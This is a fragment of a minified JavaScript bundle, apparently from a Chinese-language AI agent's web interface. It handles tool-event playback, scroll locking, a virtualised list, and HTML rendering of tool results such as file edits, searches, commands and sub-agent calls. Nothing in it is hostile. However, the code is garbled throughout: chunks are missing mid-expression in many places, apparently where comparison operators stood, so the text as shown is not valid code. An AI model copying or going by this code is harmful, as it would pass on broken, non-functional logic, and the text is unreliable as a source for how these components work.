o=s.executionId||s.id||E$("tool");if(this.ensurePendingResult(o),this.queue.push({id:o,script:i,payload:{...s,executionId:o}}),this.awaitingTools[o]=s.name,this.driver&&typeof this.driver.preparePendingCreation=="function"&&(s.name==="create_folder"||s.name==="create_file")){const p=((c=s==null?void 0:s.arguments)==null?void 0:c.path)||((l=s==null?void 0:s.arguments)==null?void 0:l.target_path)||((u=s==null?void 0:s.arguments)==null?void 0:u.targetPath)||((h=s==null?void 0:s.argumentSnapshot)==null?void 0:h.path)||((d=s==null?void 0:s.argumentSnapshot)==null?void 0:d.target_path);this.driver.preparePendingCreation(p)}_h("enqueue",{id:o,tool:s.name,script:i,queueSize:this.queue.length,awaiting:Object.keys(this.awaitingTools).length,status:this.statusLabel}),r?this.setProgressIndicator({id:o,label:r,scene:i}):this.clearProgressIndicator();const a=()=>{this.driver?(zf("enqueueToolEvent:preview-now",{tool:s.name,script:i,id:o}),this.driver.previewSceneProgress(i)):(zf("enqueueToolEvent:pending-preview",{tool:s.name,script:i,id:o}),this.pendingProgressScene=i),this.bubbleActive&&this.hideBubble(`tool-enqueue:${(s==null?void 0:s.name)||"unknown"}`)};if(this.bubbleActive&&t>=0&&tthis.hideBubble(),2600)}e&&this.fulfillPendingResult(e,s)},ensurePendingResult(s){if(!s)return;const e=Object.prototype.hasOwnProperty.call(this.completedResults,s);if(this.pendingResults[s]){if(e){const r=this.completedResults[s];delete this.completedResults[s],this.pendingResults[s].resolve(r)}return}let t=()=>{};const i={promise:new Promise(r=>{t=r}),resolve:r=>{i.settled||(i.settled=!0,i.timeout&&(clearTimeout(i.timeout),i.timeout=null)),t(r)},timeout:null,settled:!1};if(i.timeout=setTimeout(()=>{i.settled||(i.resolve(null),this.cleanupPendingResult(s,i))},12e3),this.pendingResults[s]=i,e){const r=this.completedResults[s];delete this.completedResults[s],i.resolve(r)}},waitForResult(s){if(!s)return Promise.resolve(null);const e=String(s);if(Object.prototype.hasOwnProperty.call(this.completedResults,e)){const n=this.completedResults[e];return delete this.completedResults[e],Promise.resolve(n)}this.ensurePendingResult(e);const t=this.pendingResults[e];return t?t.promise.finally(()=>{this.cleanupPendingResult(e,t)}):Promise.resolve(null)},fulfillPendingResult(s,e){if(!s)return;const t=this.pendingResults[s];if(t){t.resolve(e);return}this.completedResults[s]=e;const n=Object.keys(this.completedResults);if(n.length>A$){const i=n[0];delete this.completedResults[i]}},cleanupPendingResult(s,e){if(!s)return;const t=e||this.pendingResults[s];t&&(t.timeout&&(clearTimeout(t.timeout),t.timeout=null),this.pendingResults[s]===t&&delete this.pendingResults[s])},async processQueue(){if(!(this.playing||!this.queue.length)&&this.driver){for(this.playing=!0,this.driver.setManualInteractionEnabled(!1),_h("queue-start",{size:this.queue.length});this.queue.length&&this.driver;){const s=this.queue.shift();s&&(jk("processQueue start",{script:s.script,bubbleActive:this.bubbleActive,speechBufferLength:this.speechBuffer.length}),this.bubbleActive&&this.hideBubble(`queue-start:${s.script}`),this.speechBuffer="",await this.runScript(s))}this.playing=!1,this.driver&&this.driver.setManualInteractionEnabled(!0),this.speechBuffer&&this.driver&&(this.driver.showSpeechBubble(this.speechBuffer,{variant:"info",duration:0}),this.bubbleActive=!0),this.setStatus("待机")}},async runScript(s){var a,c,l,u,h;if(!this.driver){this.queue.unshift(s);return}const e=((a=s.payload)==null?void 0:a.executionId)||((c=s.payload)==null?void 0:c.execution_id)||s.id||((l=s.payload)==null?void 0:l.id)||null;_h("runScript:start",{script:s.script,waitKey:e,payloadTool:(u=s.payload)==null?void 0:u.name,payloadId:(h=s.payload)==null?void 0:h.id});let t,n=!1;const i=async()=>{if(!e)return n=!0,t===void 0&&(t=null),t;if(n)return t;try{t=await this.waitForResult(e)}catch(d){console.warn("monitor waitForResult error",d),t=null}finally{n=!0}return t},r=d=>{const p=typeof d=="string"&&d.trim().length?d.trim():"进行中";return p.startsWith("正在")?`回放${p.slice(2)}`:p},o={waitForResult:()=>i(),setStatus:d=>this.setStatus(r(d)),statusPhase:"playback"};this.setStatus("工具操作回放"),_h("runScript:playback",{script:s.script,waitKey:e,status:this.statusLabel});try{await this.driver.playScene(s.script,s.payload||{},o)}catch(d){console.warn("Monitor scene error",d)}finally{_h("runScript:end",{script:s.script,waitKey:e})}}}}),Gk={damping:.7,stiffness:.05,mass:1.25},M$=70,x$=1e3/60,I$=350;let iS=!1,HM=!1;function R$(){HM||typeof document>"u"||(document.addEventListener("mousedown",()=>{iS=!0}),document.addEventListener("mouseup",()=>{iS=!1}),document.addEventListener("click",()=>{iS=!1}),HM=!0)}const qk=new Map;function Kk(...s){const e={damping:Gk.damping,stiffness:Gk.stiffness,mass:Gk.mass};let t=!1;for(const i of s){if(i==="instant"){t=!0;continue}typeof i!="object"||!i||(t=!1,e.damping=i.damping??e.damping,e.stiffness=i.stiffness??e.stiffness,e.mass=i.mass??e.mass)}const n=JSON.stringify(e);return qk.has(n)||qk.set(n,Object.freeze({...e})),t?"instant":qk.get(n)}function L$(s={}){R$();let e={...s};const t=new Set,n={isAtBottom:e.initial!==!1,isNearBottom:!1,escapedFromLock:!1,velocity:0,accumulated:0,resizeDifference:0};function i(){const M=r();for(const R of t)R(M)}function r(){return{isAtBottom:n.isAtBottom||n.isNearBottom,isNearBottom:n.isNearBottom,escapedFromLock:n.escapedFromLock}}function o(){var M;return((M=n.scrollElement)==null?void 0:M.scrollTop)??0}function a(M){n.scrollElement&&(n.scrollElement.scrollTop=M,n.ignoreScrollToTop=n.scrollElement.scrollTop)}function c(){const M=n.scrollElement,R=n.contentElement;return!M||!R?0:M.scrollHeight-1-M.clientHeight}let l;function u(){const M=n.scrollElement,R=n.contentElement;if(!M||!R)return 0;const P=c();if(!e.targetScrollTop)return P;if((l==null?void 0:l.targetScrollTop)===P)return l.calculatedScrollTop;const L=Math.max(Math.min(e.targetScrollTop(P,{scrollElement:M,contentElement:R}),P),0);return l={targetScrollTop:P,calculatedScrollTop:L},typeof requestAnimationFrame<"u"&&requestAnimationFrame(()=>{l=void 0}),L}function h(){return u()-o()}function d(){return h()<=M$}function p(M){n.isAtBottom=M,i()}function m(M){n.escapedFromLock=M,i()}function v(M){n.isNearBottom=M,i()}function g(){var z;if(!iS||typeof window>"u")return!1;const M=(z=window.getSelection)==null?void 0:z.call(window);if(!M||!M.rangeCount)return!1;const R=M.getRangeAt(0),P=n.scrollElement;if(!P)return!1;const L=R.commonAncestorContainer;return!!(L&&(P.contains(L)||L.contains(P)))}const y=M=>{if(M.target!==n.scrollElement)return;const R=o(),P=n.ignoreScrollToTop;let L=n.lastScrollTop??R;n.lastScrollTop=R,n.ignoreScrollToTop=void 0,P&&P>R&&(L=P),v(d()),setTimeout(()=>{var W;if(n.resizeDifference||R===P)return;if(g()){m(!0),p(!1);return}const z=R>L,Q=R{var L;const R=n.scrollElement;if(!R)return;let P=M.target;for(;P&&!["scroll","auto"].includes(getComputedStyle(P).overflow);){if(!P.parentElement)return;P=P.parentElement}P===R&&M.deltaY<0&&R.scrollHeight>R.clientHeight&&!((L=n.animation)!=null&&L.ignoreEscapes)&&(m(!0),p(!1))};function _(M,R){w(),n.scrollElement=M,n.contentElement=R,getComputedStyle(M).overflow==="visible"&&(M.style.overflow="auto"),M.addEventListener("scroll",y,{passive:!0}),M.addEventListener("wheel",b,{passive:!0});let P;n.resizeObserver=new ResizeObserver(L=>{const z=L[0];if(!z)return;const{height:Q}=z.contentRect,W=Q-(P??Q);if(n.resizeDifference=W,o()>c()&&a(c()),v(d()),W>=0){const V=Kk(e,P?e.resize:e.initial);T({animation:V,wait:!0,preserveScrollPosition:!0,duration:V==="instant"?void 0:I$})}else d()&&(m(!1),p(!0));P=Q,typeof requestAnimationFrame<"u"&&requestAnimationFrame(()=>{setTimeout(()=>{n.resizeDifference===W&&(n.resizeDifference=0)},1)})}),n.resizeObserver.observe(R)}function w(){var M;n.scrollElement&&(n.scrollElement.removeEventListener("scroll",y),n.scrollElement.removeEventListener("wheel",b)),(M=n.resizeObserver)==null||M.disconnect(),n.resizeObserver=void 0,n.scrollElement=void 0,n.contentElement=void 0}function S(){w(),t.clear()}function C(M){e={...e,...M}}function T(M={}){var N;const R=typeof M=="string"?{animation:M}:M;R.preserveScrollPosition||p(!0);const P=Date.now()+(Number(R.wait)||0),L=Kk(e,R.animation),{ignoreEscapes:z=!1}=R;let Q,W=u();R.duration instanceof Promise?R.duration.finally(()=>{Q=Date.now()}):Q=P+(R.duration??0);const V=async()=>{const O=new Promise(H=>{if(typeof requestAnimationFrame>"u"){H(!1);return}requestAnimationFrame(()=>H(!0))}).then(()=>{var ie;if(!n.isAtBottom)return n.animation=void 0,!1;const H=o(),G=typeof performance<"u"?performance.now():Date.now(),ee=(G-(n.lastTick??G))/x$;if(n.animation||(n.animation={behavior:L,promise:O,ignoreEscapes:z}),n.animation.behavior===L&&(n.lastTick=G),g()||P>Date.now())return V();if(HDate.now()?(W=u(),V()):(n.animation=void 0,o()(typeof requestAnimationFrame<"u"&&requestAnimationFrame(()=>{n.animation||(n.lastTick=void 0,n.velocity=0)}),H))};return R.wait!==!0&&(n.animation=void 0),((N=n.animation)==null?void 0:N.behavior)===L?n.animation.promise:V()}const k=()=>{m(!0),p(!1)};function A(M){return t.add(M),()=>t.delete(M)}return{attach:_,detach:w,destroy:S,setOptions:C,getState:r,onChange:A,scrollToBottom:T,stopScroll:k}}function P$(s={}){const e=pe(null),t=pe(null),n=pe(s.initial!==!1),i=pe(!1),r=pe(!1),o=L$(s);let a=null;return b2(c=>{!e.value||!t.value||(o.attach(e.value,t.value),a=o.onChange(l=>{n.value=l.isAtBottom,i.value=l.isNearBottom,r.value=l.escapedFromLock}),c(()=>{a==null||a(),a=null,o.detach()}))}),xn(()=>{o.destroy()}),{scrollRef:e,contentRef:t,isAtBottom:n,isNearBottom:i,escapedFromLock:r,scrollToBottom:c=>o.scrollToBottom(c),stopScroll:()=>o.stopScroll(),setOptions:c=>o.setOptions(c)}}const Gv=null,{min:Dh,max:Yo,abs:UM,floor:O$}=Math,V2=(s,e,t)=>Dh(t,Yo(e,s)),G2=s=>[...s].sort((e,t)=>e-t),D$=typeof queueMicrotask=="function"?queueMicrotask:s=>{Promise.resolve().then(s)},S1=()=>{let s;return[new Promise(e=>{s=e}),s]},q2=s=>{let e;return()=>(s&&(e=s(),s=void 0),e)},Cv=(s,e,t)=>{const n=t?"unshift":"push";for(let i=0;i{const t=s.t[e];return t===-1?s.o:t},N$=(s,e,t)=>{const n=s.t[e]===-1;return s.t[e]=t,s.i=Dh(e,s.i),n},rS=(s,e)=>{if(!s.l)return 0;if(s.i>=e)return s.u[e];s.i<0&&(s.u[0]=0,s.i=0);let t=s.i,n=s.u[t];for(;t{let i=t;for(;t<=n;){const r=O$((t+n)/2);rS(s,r)<=e?(i=r,t=r+1):n=r-1}return V2(i,0,s.l-1)},WM=(s,e,t)=>{const n=e-s.l;return s.i=t?-1:Dh(e-1,s.i),s.l=e,n>0?(Cv(s.u,n),Cv(s.t,n,t),s.o*n):(s.u.splice(n),(t?s.t.splice(0,-n):s.t.splice(n)).reduce((i,r)=>i-(r===-1?s.o:r),0))},B$=s=>s.documentElement,F$=s=>s.ownerDocument,$$=s=>s.defaultView,Q2=q2(()=>!!/iP(hone|od|ad)/.test(navigator.userAgent)||navigator.platform==="MacIntel"&&navigator.maxTouchPoints>0),H$=q2(()=>"scrollBehavior"in B$(document).style),U$=(s,e=40,t=0,n,i=!1)=>{let r=!!t,o=1,a=0,c=0,l=0,u=0,h=0,d=0,p=0,m=0,v=Gv,g=[0,r?Yo(t-1,0):-1],y=0,b=!1;const _=((L,z,Q)=>({o:z,t:Q?Cv(Q.slice(0,Dh(L,Q.length)),Yo(0,L-Q.length)):Cv([],L),l:L,i:-1,u:Cv([],L+1)}))(s,n?n[1]:e,n&&n[0]),w=new Set,S=()=>l-c,C=()=>S()+h+u,T=(L,z)=>((Q,W,V,N)=>{if(N=Dh(N,Q.l-1),rS(Q,N)<=W){const O=jf(Q,V,N);return[jf(Q,W,N,O),O]}{const O=jf(Q,W,void 0,N);return[O,jf(Q,V,O)]}})(_,L,z,g[0]),k=()=>rS(_,_.l),A=(L,z)=>{const Q=rS(_,L)-h;return z?k()-Q-M(L):Q},M=L=>K2(_,L),R=(L,z=-1)=>_.t[L]===z,P=L=>{L&&(Q2()&&p!==0||v&&m===1?h+=L:u+=L)};return{p:()=>{w.clear()},m:()=>o,h:()=>(L=>[L.t.slice(),L.o])(_),v:(L=200)=>{if(!b||r)return g;let z,Q;if(d)[z,Q]=g;else{let W=Yo(0,C()),V=W+a;i||(L=Yo(0,L),p!==1&&(W-=L),p!==2&&(V+=L)),[z,Q]=g=T(Yo(0,W),Yo(0,V)),v&&(z=Dh(z,v[0]),Q=Yo(Q,v[1]))}return[Yo(z,0),Dh(Q,_.l-1)]},S:L=>jf(_,L-c),I:R,O:A,k:M,j:()=>_.l,N:()=>l,B:()=>p!==0,T:()=>a,q:()=>c,M:k,P:()=>(d=u,u=0,[d,m===2]),R:(L,z)=>{const Q=[L,z];return w.add(Q),()=>{w.delete(Q)}},A:(L,z)=>{let Q,W,V=0;switch(L){case 1:{if(z===l&&m===0)break;const N=d;d=0;const O=z-l,H=UM(O);N&&H=-a&&G<=k()&&(V+=1,W=H>a);break}case 2:V=8,p!==0&&(Q=!0,V+=1),p=0,m=0,v=Gv;break;case 3:{const N=z.filter(([O,H])=>!R(O,H));if(!N.length)break;P(N.reduce((O,[H,G])=>{let ee;if(m===2)ee=!0;else if(v&&m===1)ee=Ha&&(P(((O,H)=>{let G=0;const ee=[];O.t.forEach((K,X)=>{K!==-1&&(ee.push(K),X{V&N&&O(W)}))}}},cE=setTimeout,Qk=(s,e)=>e?-s:s,W$=(s,e,t,n,i,r)=>{const o=Date.now;let a=0,c=!1,l=!1,u=!1,h=!1;const d=(()=>{let y;const b=()=>{y!=Gv&&clearTimeout(y)},_=()=>{b(),y=cE(()=>{y=Gv,(()=>{if(c||l)return c=!1,void d();u=!1,s.A(2)})()},150)};return _.C=b,_})(),p=()=>{a=o(),u&&(h=!0),s.A(1,n()),d()},m=y=>{if(c||!s.B()||y.ctrlKey)return;const b=o()-a;150>b&&50{l=!0,u=h=!1},g=()=>{l=!1,Q2()&&(u=!0)};return e.addEventListener("scroll",p),e.addEventListener("wheel",m,{passive:!0}),e.addEventListener("touchstart",v,{passive:!0}),e.addEventListener("touchend",g,{passive:!0}),{H:()=>{e.removeEventListener("scroll",p),e.removeEventListener("wheel",m),e.removeEventListener("touchstart",v),e.removeEventListener("touchend",g),d.C()},V:()=>{const[y,b]=s.P();y&&(i(y,b,h),h=!1,b&&s.T()>s.M()&&s.A(1,n()))}}},z$=(s,e,t)=>{let n;return[async(i,r)=>{if(!await e())return;n&&n();const o=()=>{const[a,c]=S1();return n=()=>{c(!1)},s.T()&&cE(n,150),[a,s.R(2,()=>{c(!0)})]};if(r&&H$())s.A(8,i()),D$(async()=>{for(;;){let a=!0;for(let[u,h]=s.v();u<=h;u++)if(s.I(u)){a=!1;break}if(a)break;const[c,l]=o();try{if(!await c)return}finally{l()}}s.A(7),t(i(),r)});else for(;;){const[a,c]=o();try{if(s.A(7),t(i()),!await a)return}finally{c()}}},()=>{n&&n()}]},j$=s=>{let e;return{F(t){(e||(e=new($$(F$(t))).ResizeObserver(s))).observe(t)},J(t){e.unobserve(t)},H(){e&&e.disconnect()}}},V$=at({props:{L:{type:Object,required:!0},W:{type:Object,required:!0},X:{type:Object,required:!0},Y:{type:Function,required:!0},D:{type:Number,required:!0},U:{type:Boolean},G:{type:Boolean},K:{type:Boolean},Z:{type:String,required:!0},ee:Object},setup(s){const e=pe(),t=ye(()=>s.L.value&&s.W.O(s.D,s.K)),n=ye(()=>s.L.value&&s.W.I(s.D));return Xe(()=>e.value&&s.D,(i,r,o)=>{o(s.Y(e.value,s.D))},{flush:"post"}),()=>{const{X:i,U:r,G:o,Z:a}=s,c=n.value,{style:l,...u}=s.ee??{},h={contain:"layout style",position:c&&o?void 0:"absolute",[r?"height":"width"]:"100%",[r?"top":"left"]:"0px",[r?"left":"top"]:t.value+"px",visibility:!c||o?void 0:"hidden",...l};return r&&(h.display="inline-flex"),Qe(a,AF({ref:e,style:h},u),typeof(d=i)=="function"||Object.prototype.toString.call(d)==="[object Object]"&&!_2(d)?i:{default:()=>[i],_:2},16,["style"]);var d}}}),G$=(s,e)=>{if(s.length===1){const t=s[0].key;if(t!=null)return t}return"_"+e},q$=(s,e)=>s[0]===e[0]&&s[1]===e[1],K$=at({props:{data:{type:Array,required:!0},bufferSize:Number,itemSize:Number,shift:Boolean,horizontal:Boolean,startMargin:{type:Number,default:0},ssrCount:Number,scrollRef:Object,as:{type:String,default:"div"},item:{type:String,default:"div"},itemProps:Function,keepMounted:Array,cache:Object},emits:["scroll","scrollEnd"],setup(s,{emit:e,expose:t,slots:n}){let i=!!s.ssrCount;const r=s.horizontal,o=pe(),a=U$(s.data.length,s.itemSize,s.ssrCount,s.cache,!s.itemSize),c=((m,v)=>{let g;const y=v?"width":"height",b=new WeakMap,_=j$(w=>{const S=[];for(const{target:C,contentRect:T}of w)if(C.offsetParent)if(C===g)m.A(4,T[y]);else{const k=b.get(C);k!=Gv&&S.push([k,T[y]])}S.length&&m.A(3,S)});return{te(w){_.F(g=w)},re:(w,S)=>(b.set(w,S),_.F(w),()=>{b.delete(w),_.J(w)}),p:_.H}})(a,r),l=((m,v)=>{let g,y,b=S1(),_=!1;const w=v?"scrollLeft":"scrollTop",S=v?"overflowX":"overflowY",[C,T]=z$(m,()=>b[0],(k,A)=>{k=Qk(k,_),A?g.scrollTo({[v?"left":"top"]:k,behavior:"smooth"}):g[w]=k});return{oe(k,A){g=A,v&&(_=getComputedStyle(A).direction==="rtl"),y=W$(m,A,v,()=>Qk(A[w],_),(M,R,P)=>{if(P){const L=A.style,z=L[S];L[S]="hidden",cE(()=>{L[S]=z})}A[w]=Qk(m.N()+M,_),R&&T()}),b[1](!0)},p(){y&&y.H(),b[1](!1),b=S1()},ne:()=>_,se(k){C(()=>k)},ie(k){k+=m.N(),C(()=>k)},le(k,{align:A,smooth:M,offset:R=0}={}){if(k=V2(k,0,m.j()-1),A==="nearest"){const P=m.O(k),L=m.N();if(PL+m.T()))return;A="end"}}C(()=>R+m.q()+m.O(k)+(A==="end"?m.k(k)-m.T():A==="center"?(m.k(k)-m.T())/2:0),M)},ce:()=>{y&&y.V()}}})(a,r),u=pe(a.m());a.R(1,()=>{u.value=a.m()}),a.R(4,()=>{e("scroll",a.N())}),a.R(8,()=>{e("scrollEnd")});const h=ye(m=>{u.value;const v=a.v(s.bufferSize);return m&&q$(m,v)?m:v}),d=ye(()=>u.value&&a.B()),p=ye(()=>u.value&&a.M());return Cn(()=>{i=!1;const m=o.value,v=requestAnimationFrame(()=>{const g=y=>{c.te(y),l.oe(m,y)};s.scrollRef?g(s.scrollRef):g(m.parentElement)});xM(()=>{cancelAnimationFrame(v)})}),xM(()=>{a.p(),c.p(),l.p()}),Xe(()=>s.data.length,m=>{a.A(5,[m,s.shift])}),Xe(()=>s.startMargin,m=>{a.A(6,m)},{immediate:!0}),Xe([u],()=>{l.ce()},{flush:"post"}),t({get cache(){return a.h()},get scrollOffset(){return a.N()},get scrollSize(){return(m=>Yo(m.M(),m.T()))(a)},get viewportSize(){return a.T()},findItemIndex:a.S,getItemOffset:a.O,getItemSize:a.k,scrollToIndex:l.le,scrollTo:l.se,scrollBy:l.ie}),()=>{const m=s.as,v=s.item,g=p.value,y=l.ne(),b=[],_=S=>{var T;const C=n.default({item:s.data[S],index:S});return Qe(V$,{key:G$(C,S),L:u,W:a,Y:c.re,D:S,X:C,U:r,K:y,G:i,Z:v,ee:(T=s.itemProps)==null?void 0:T.call(s,{item:s.data[S],index:S})},null,8,["L","W","Y","D","X","U","K","G","Z","ee"])};if(s.keepMounted){const S=new Set(s.keepMounted);for(let[C,T]=h.value;C<=T;C++)S.add(C);G2([...S]).forEach(C=>{b.push(_(C))})}else for(let[S,C]=h.value;S<=C;S++)b.push(_(S));return Qe(m,{ref:o,style:{contain:"size style",overflowAnchor:"none",flex:"none",position:"relative",width:r?g+"px":"100%",height:r?"100%":g+"px",pointerEvents:d.value?"none":void 0}},typeof(w=b)=="function"||Object.prototype.toString.call(w)==="[object Object]"&&!_2(w)?b:{default:()=>[b],_:2},8,["style"]);var w}}});function Q$(s,e){const{stopScroll:t,duration:n=300,defaultDirection:i="auto"}=e,r=new Map,o=new Map;let a=null;function c(d,p,m){const v=d.top-p.top,g=p.height/2;return v>g?"up":"down"}function l(){const d=s.value;if(!d){a=null;return}const p=d.getBoundingClientRect(),m=performance.now();let v=!1;for(const[g,y]of r){const b=m-y.startTime;if(!(document.body.contains(d)&&d.contains(y.element))){r.delete(g);continue}const w=y.element.getBoundingClientRect(),S=w.top-p.top,C=w.bottom-p.top;let T=0;y.mode==="up"?T=C-y.initialBottom:T=-(S-y.initialTop);const k=Math.abs(T)>1,A=y.extendOnGrowth&&k&&b>y.duration*.6;if(A&&(y.startTime=m-y.duration*.3),b>=y.duration&&!A){y.phase==="collapse"&&o.delete(g),r.delete(g);continue}v=!0,Math.abs(T)>.5&&(d.scrollTop+=T)}v?a=requestAnimationFrame(l):a=null}function u(d,p,m){const v=s.value;if(!v)return;const g=v.getBoundingClientRect(),y=d.getBoundingClientRect(),b=y.top-g.top,_=y.bottom-g.top;if(_<-50||b>g.height+50)return;const w=(m==null?void 0:m.phase)??"expand",S=(m==null?void 0:m.direction)??i;let C;S!=="auto"?C=S:w==="collapse"&&o.has(p)||w==="expand"&&o.has(p)?C=o.get(p):(C=c(y,g),o.set(p,C));const T=(m==null?void 0:m.extendOnGrowth)??!1;t();const k=r.get(p);r.set(p,{element:d,startTime:performance.now(),duration:(m==null?void 0:m.duration)??n,mode:C,initialTop:b,initialBottom:_,extendOnGrowth:T||(k==null?void 0:k.extendOnGrowth)||!1,phase:w}),a===null&&(a=requestAnimationFrame(l))}function h(){a!==null&&(cancelAnimationFrame(a),a=null),r.clear(),o.clear()}return{anchorBlockElement:u,stopAll:h}}function Se(s){const e=document.createElement("div");return e.textContent=s,e.innerHTML}function uE(s){if(s===0)return"0 B";const e=1024,t=["B","KB","MB","GB"],n=Math.floor(Math.log(s)/Math.log(e));return Math.round(s/Math.pow(e,n)*100)/100+" "+t[n]}function X$(s){if(s<=0)return"0 秒";if(s<60)return`${s} 秒`;const e=Math.floor(s/60),t=s%60;if(e<60)return t>0?`${e} 分 ${t} 秒`:`${e} 分`;const n=Math.floor(e/60),i=e%60;return i===0&&t===0?`${n} 小时`:`${n} 小时 ${i} 分 ${t} 秒`}function as(s,e,t="✗ 失败"){const n=String((s==null?void 0:s.status)||"").toLowerCase();return n==="awaiting_user_answer"?"等待回答":n==="awaiting_approval"||n==="pending_approval"||n==="pending"?"待审批":n==="rejected"?"✗ 已拒绝":n==="cancelled"?"✗ 已取消":s!=null&&s.success?e:t}function hE(s,e,t,n){const i=s.tool,r=i==null?void 0:i.result,o=(i==null?void 0:i.arguments)||{},a=i==null?void 0:i.name;return r?typeof r=="string"?`
${Se(r)}
`:a==="web_search"?J$(r,o,e,t,n):a==="extract_webpage"?Z$(r,o):a==="save_webpage"?e3(r,o):a==="create_file"||a==="create_folder"?t3(r,o):a==="write_file"?s3(r,o):a==="edit_file"?n3(r,o):a==="delete_file"?i3(r,o):a==="rename_file"?r3(r,o):a==="read_file"||a==="read_skill"?o3(r,o):a==="create_skill"?S3(r):a==="list_workflows"?w3(r,o):a==="save_workflow"?k3(r,o):a==="vlm_analyze"?a3(r,o):a==="ocr_image"?l3(r,o):a==="view_image"?c3(r,o):a==="terminal_session"?u3(r,o):a==="terminal_input"?h3(r,o):a==="terminal_snapshot"?d3(r,o):a==="sleep"?f3(r,o):a==="run_command"?p3(r,o):a==="update_memory"?g3(r,o):a==="recall_project_memory"?m3(r,o):a==="search_project_memory"?v3(r,o):a==="update_project_memory"?y3(r,o):a==="conversation_search"?b3(r,o):a==="conversation_review"?_3(r,o):a==="ask_user"?A3(r,o):a==="manage_personalization"?E3(r,o):a==="todo_create"?M3(r,o):a==="todo_update_task"?x3(r):a==="trigger_easter_egg"?I3(r,o):a==="create_sub_agent"?R3(r,o):a==="terminate_sub_agent"?L3(r,o):a==="send_message_to_sub_agent"?O3(r,o):a==="answer_sub_agent_question"?D3(r,o):a==="create_custom_agent"?N3(r,o):a==="list_agents"?B3(r):a==="list_active_sub_agents"?F3(r):a==="get_sub_agent_status"?P3(r):Y$(r,o,a):""}function Y$(s,e,t){const n=as(s,"✓ 完成","✗ 失败");let i='
';i+=`
工具:${Se(t)}
`,i+=`
状态:${Se(n)}
`,["path","file_path","agent_id","target_agent_id","question","role_id","url"].forEach(a=>{const c=(e==null?void 0:e[a])??(s==null?void 0:s[a]);if(c!==void 0&&c!==""&&c!==null){const l={path:"路径",file_path:"路径",agent_id:"子智能体 ID",target_agent_id:"目标子智能体 ID",question:"问题",role_id:"角色 ID",url:"URL"},u=typeof c=="string"?c:JSON.stringify(c),h=String(u).slice(0,200),d=String(u).length>200?"…":"";i+=`
${Se(l[a]||a)}:${Se(h+d)}
`}}),!(s!=null&&s.success)&&(s!=null&&s.error)&&(i+=`
错误:${Se(String(s.error))}
`),i+="
";const o=(s==null?void 0:s.message)??(s==null?void 0:s.summary)??(s==null?void 0:s.answer)??(s==null?void 0:s.output)??(s==null?void 0:s.content)??(s==null?void 0:s.data)??"";return o&&typeof o=="string"&&o.trim()?(i+='
',i+=`
${Se(o.trim())}
`,i+="
"):s!=null&&s.success&&(i+='
',i+='
工具执行完成,无额外可展示内容。
',i+="
"),i}function J$(s,e,t,n,i){const r=s.query||e.query||"",o=s.filters||{},a=s.total_results||0,c=s.results||[];let l='
';return l+=`
搜索内容:${Se(r)}
`,l+=`
主题:${Se(t(o))}
`,l+=`
时间范围:${Se(n(o))}
`,l+=`
限定网站:${Se(i(o))}
`,l+=`
结果数量:${a}
`,l+="
",c.length>0?(l+='
',c.forEach(u=>{l+='
',l+=`
${Se(u.title||"无标题")}
`,l+='
',u.url?l+=`${Se(u.url)}`:l+="无可用链接",l+="
"}),l+="
"):l+='
未返回详细的搜索结果。
',l}function Z$(s,e){const t=e.url||s.url||"",n=as(s,"✓ 成功"),i=s.content||s.text||"";let r='
';return r+=`
URL:${Se(t)}
`,r+=`
状态:${n}
`,r+="
",i&&(r+='
',r+=`
${Se(i)}
`,r+="
"),r}function e3(s,e){const t=e.url||s.url||"",n=s.path||e.save_path||"",i=as(s,"✓ 已保存");let r='
';return r+=`
URL:${Se(t)}
`,r+=`
保存路径:${Se(n)}
`,r+=`
状态:${i}
`,r+="
",r}function t3(s,e){const t=e.path||s.path||"",n=as(s,"✓ 已创建");let i='
';return i+=`
路径:${Se(t)}
`,i+=`
状态:${n}
`,i+="
",i}function s3(s,e){const t=e.file_path||e.path||s.path||"",n=as(s,"✓ 已写入"),i=typeof e.append=="boolean"?e.append:null,r=String(s.mode||"").toLowerCase(),o=i===!0||r==="a"?"追加":i===!1||r==="w"?"覆盖":"无",a=i===!0||r==="a"?e.content||"":s.new_file??e.content??"";let c='
';return c+=`
路径:${Se(t)}
`,c+=`
状态:${n}
`,c+=`
模式:${o}
`,!s.success&&s.error&&(c+=`
错误:${Se(String(s.error))}
`),c+="
",s.success&&a&&(c+='
',a.split(` +`).forEach((u,h)=>{c+=`
${h+1}+${Se(u)}
`}),c+="
"),c}function n3(s,e){const t=e.file_path||e.path||s.path||"",n=as(s,"✓ 已编辑"),i=typeof s.found_matches=="number"?s.found_matches:typeof s.replacements=="number"?s.replacements:null,r=typeof s.replacements=="number"?s.replacements:null,o=Array.isArray(s.details)?s.details.filter(c=>c&&c.status==="success"):[];let a='
';if(a+=`
路径:${Se(t)}
`,a+=`
状态:${n}
`,a+=`
替换组数:${(s.replacement_groups??o.length)||"无"}
`,a+=`
找到:${i??"无"}处
`,a+=`
替换:${r??"无"}处
`,!s.success&&s.error&&(a+=`
错误:${Se(String(s.error))}
`),a+="
",!s.success)return a;if(o.length>0){a+='
';const c=(p,m,v,g="")=>{const y=typeof p=="number"&&Number.isFinite(p)?String(p):"";a+=`
${Se(y)}${Se(m)}${Se(v)}
`},l=[];o.forEach(p=>{const m=p.old_string||"",v=p.new_string||"",g=Array.isArray(p.contexts)?p.contexts:[],y=m?m.split(` +`):[],b=v?v.split(` +`):[],_=w=>{var k;const S=[],C=Number((w==null?void 0:w.old_start_line)??((k=p.matched_lines)==null?void 0:k[0])),T=Number.isFinite(C)?C:null;return m&&y.forEach((A,M)=>{S.push({lineNo:T===null?null:T+M,marker:"-",text:A,className:"diff-remove"})}),v&&b.forEach((A,M)=>{S.push({lineNo:T===null?null:T+M,marker:"+",text:A,className:"diff-add"})}),S};if(g.length>0)g.forEach(w=>{var W,V,N;const S=[],C=Array.isArray(w.before_lines)?w.before_lines:[],T=Array.isArray(w.after_lines)?w.after_lines:[],k=C.length>=2&&C.every(O=>String((O==null?void 0:O.text)??"")==="")?[]:C.length>=2&&String(((W=C[0])==null?void 0:W.text)??"")===""?C.slice(1):C,A=T.length>=2&&T.every(O=>String((O==null?void 0:O.text)??"")==="")?[]:T.length>=2&&String(((V=T[T.length-1])==null?void 0:V.text)??"")===""?T.slice(0,-1):T,M=Number((w==null?void 0:w.old_start_line)??((N=p.matched_lines)==null?void 0:N[0])),R=Number((w==null?void 0:w.old_end_line)??M),P=Number.isFinite(M)&&Number.isFinite(R)?Math.max(1,R-M+1):Math.max(1,m?m.split(` +`).length:1),z=(v===""?0:v.split(` +`).length)-P;k.forEach(O=>{S.push({lineNo:Number(O.line),marker:" 